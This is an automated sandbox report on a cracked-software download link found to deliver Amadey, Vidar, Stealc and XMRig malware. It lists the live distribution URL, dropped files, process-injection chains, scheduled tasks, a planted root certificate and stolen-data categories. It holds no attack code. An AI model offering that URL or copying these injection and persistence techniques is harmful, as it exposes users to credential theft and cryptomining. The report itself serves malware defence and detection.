Malware Analysis Report

2024-09-11 16:00

Sample ID 240616-rw8hms1cmm
Target https://j6lyat060624q67.xyz/08f10c664042c174f24981a4ec6e3b3e4105598b_1718450383/file-dln_666d78cf14318/?source=12&grp=17&file=&q=Bandicam-7-1-1-2158-with-Crack--RePack---Portable-
Tags
amadey stealc vidar xmrig ffb1b9 discovery miner spyware stealer trojan upx
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

Threat Level: Known bad

The file https://j6lyat060624q67.xyz/08f10c664042c174f24981a4ec6e3b3e4105598b_1718450383/file-dln_666d78cf14318/?source=12&grp=17&file=&q=Bandicam-7-1-1-2158-with-Crack--RePack---Portable- was found to be: Known bad.

Malicious Activity Summary

amadey stealc vidar xmrig ffb1b9 discovery miner spyware stealer trojan upx

Amadey

Detect Vidar Stealer

Vidar

xmrig

Stealc

XMRig Miner payload

Executes dropped EXE

UPX packed file

Reads user/profile data of local email clients

Loads dropped DLL

Reads user/profile data of web browsers

Reads data files stored by FTP clients

Checks installed software on the system

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Drops file in Windows directory

Enumerates physical storage devices

Uses Task Scheduler COM API

Suspicious use of AdjustPrivilegeToken

NTFS ADS

Suspicious use of WriteProcessMemory

Checks processor information in registry

Modifies system certificate store

Suspicious use of FindShellTrayWindow

Modifies registry class

Suspicious behavior: MapViewOfSection

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Delays execution with timeout.exe

Suspicious use of SetWindowsHookEx

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Subvert Trust Controls
T1553
Install Root Certificate
T1553.004
Modify Registry
T1112
Credential Access
TA0006
Unsecured Credentials
T1552
Credentials In Files
T1552.001
Discovery
TA0007
Query Registry
T1012
System Information Discovery
T1082
Lateral Movement
TA0008
Collection
TA0009
Data from Local System
T1005
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-16 14:33

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-16 14:33

Reported

2024-06-16 14:59

Platform

win11-20240611-en

Max time kernel

1499s

Max time network

1501s

Command Line

"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://j6lyat060624q67.xyz/08f10c664042c174f24981a4ec6e3b3e4105598b_1718450383/file-dln_666d78cf14318/?source=12&grp=17&file=&q=Bandicam-7-1-1-2158-with-Crack--RePack---Portable-"

Signatures

Amadey

trojan amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Vidar

stealer vidar

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\ProgramData\HJJJECFIEC.exe N/A
N/A N/A C:\ProgramData\CBFCFBFBFB.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A href.li N/A N/A
N/A href.li N/A N/A
N/A href.li N/A N/A
N/A href.li N/A N/A
N/A href.li N/A N/A
N/A href.li N/A N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 4996 set thread context of 3228 N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe C:\Windows\SysWOW64\netsh.exe
PID 4636 set thread context of 1076 N/A C:\ProgramData\CBFCFBFBFB.exe C:\Windows\SysWOW64\ftp.exe
PID 1188 set thread context of 5896 N/A C:\ProgramData\HJJJECFIEC.exe C:\Windows\SysWOW64\ftp.exe
PID 1076 set thread context of 1064 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 1064 set thread context of 3004 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
PID 5636 set thread context of 5508 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe
PID 5508 set thread context of 2544 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 3112 set thread context of 5852 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe
PID 5852 set thread context of 5484 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\TWI Cloud Host.job C:\Windows\SysWOW64\ftp.exe N/A
File created C:\Windows\Tasks\Watcher Com SH.job C:\Windows\SysWOW64\ftp.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Mozilla Firefox\firefox.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-952492217-3293592999-1071733403-1000_Classes\Local Settings C:\Program Files\Mozilla Firefox\firefox.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
N/A N/A C:\ProgramData\HJJJECFIEC.exe N/A
N/A N/A C:\ProgramData\CBFCFBFBFB.exe N/A
N/A N/A C:\ProgramData\CBFCFBFBFB.exe N/A
N/A N/A C:\ProgramData\HJJJECFIEC.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\coml.au3 N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\Downloads\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\!#Fileş_#!UŞe~Passw0rd__~.~160614~.~__\Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\netsh.exe N/A
N/A N/A C:\ProgramData\CBFCFBFBFB.exe N/A
N/A N/A C:\ProgramData\HJJJECFIEC.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A
N/A N/A C:\Windows\SysWOW64\ftp.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1072 wrote to memory of 1160 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 3608 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 1160 wrote to memory of 1428 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
